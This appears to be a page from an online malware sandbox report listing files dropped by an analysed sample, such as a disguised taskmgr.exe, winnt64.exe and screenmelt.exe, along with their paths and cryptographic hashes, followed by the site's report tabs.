SHA512 bba1caf8e2173a082e220eec1f1b5da880d39afca353cfafe8a7850d4a7d85e1ec0ff771bffb440afdc475eef50f9b720b5a3e9aea6c6cd2b3a8486a1681df3a
SSDEEP 6144:Itzsb5Uh28+V1WW69B9VjMdxPedN9ug0z9TB9SLQ3IkxsIKABZcyN:ItzE5elwLz9TrMQ3IkxjbBTN
MD5 SHA1 SHA512 SSDEEP

Submit Download

taskmgr.exe

Path C:\Users\Admin\downloads\taskmgr.exe
Size 139KB
SHA256 8436fcc98e61ea958dd6adf346a81c5d08cb91e9d9a6cc67cacf4f1b14db13b9
MD5 12c0b030ad5d135dce89d85becfdb76f
SHA1 f8afc5bb441b54a0b4dcb66e158abd44187a43fe
SHA512 710f39020f9e06d087d7ff55fe887203716a24080e368dbaa837421f8874fc35f0d39ac1634bfaa60d4fee4c93f4699872c725e63d759dfd81dc751a56ead61a
SSDEEP 3072:bnlVICUkLrGGTINTBfmUrNUgAJl9tD+izT:bnXMkx8NTBO40siv
MD5 SHA1 SHA512 SSDEEP

Submit Download

winnt64.exe

Path C:\Users\Admin\downloads\winnt64.exe
Size 188KB
SHA256 dadd54e1c3b0496d3a49e112da7c3d71255037df9ba27b890131330b42eabf88
MD5 aa992d93467882ff211f211495e6c545
SHA1 75a1a182af719168b9ca7b9c42282b997f82d443
SHA512 54d07b5f123b20128459de04694ed295275498c646fef596830c2c98ff1a8fa4741c95ce72be6d59a713fc6d7d7365c4f13eace2ed6bf357ebef44885b882d5d
SSDEEP 3072:vV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPTYEbXEC+gwNDF/Kjs:it5hBPi0BW69hd1MMdxPe9N9uA069TBk
MD5 SHA1 SHA512 SSDEEP

Submit Download

winntcus64.png

Path C:\Users\Admin\downloads\winntcus64.png
Size 135KB
SHA256 2b8c4658c0f5b47bab5f6ba1135d7d5a8d31414cf788b8fa7c4c520d1db92ba2
MD5 6630a0fb912cd00e64f2014401094beb
SHA1 e869c10b7f664332a1274e6de8812d4dc21d1bdc
SHA512 6c7b97f677d43d22b1a2d7a12421f7fbcf4bb0017647dab846052560c0b1792ee1cdc8220a29eec9f5ab6f23be51b2c375101353e2c2112c492f59c7a701af87
SSDEEP 3072:sgbk4C64MhU1+WBl6TWvAY1yk3HuXTkkIamFP3E:sgbkf6lhU1L6if1j3AbIBm
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISEEYOU5.prsnlz

Path C:\Users\Public\Desktop\ISEEYOU5.prsnlz
Size 73B
SHA256 f033d117272cafc4072c2a9e6986381939f19eebe57d08be26834f752a9c4a18
MD5 f2c62761eaf03a1477f392a23a2b951d
SHA1 243ae1c1ec3377cf835efb728180dfd19567d2f2
SHA512 d7eaf3915aadaf5b0d2cb7ca740b8bbd8ce93f809ebf39e92e4934c96d44020a631787aeec3e28c290a51c01c91a5044f3d4b679d8451fd8a1cdc871a5e47c27
MD5 SHA1 SHA512

Submit Download

screenmelt.exe

Path \Users\Admin\Downloads\screenmelt.exe
Size 116KB
SHA256 0850c8ca4e063475b6d83171b28eaaf1aec4452814a6c2e07acfc6f9df1d0359
MD5 906a6d30ea07a63b252c21ff4e8cf785
SHA1 cceae82b6a75838a038096cf8dd721369764e113
SHA512 dafb680429cfe5db8dc9528a3f515e1e9e18289c97bb6cbcf612934ba441d97a60392878ee3554bfa3f0ecc40b49f4db4fef6bc3895681d4fa8c563a1a43c334
SSDEEP 1536:yFvkbWh7WxP1f4/BgggG3HbPJzlvWhHbM5zSjSB+ar2aruxNsTVTRX0uZy:wcbvB1f4/F39lvGwukny
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2812-114-0x000000013F7C0000-0x000000013F7E3000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads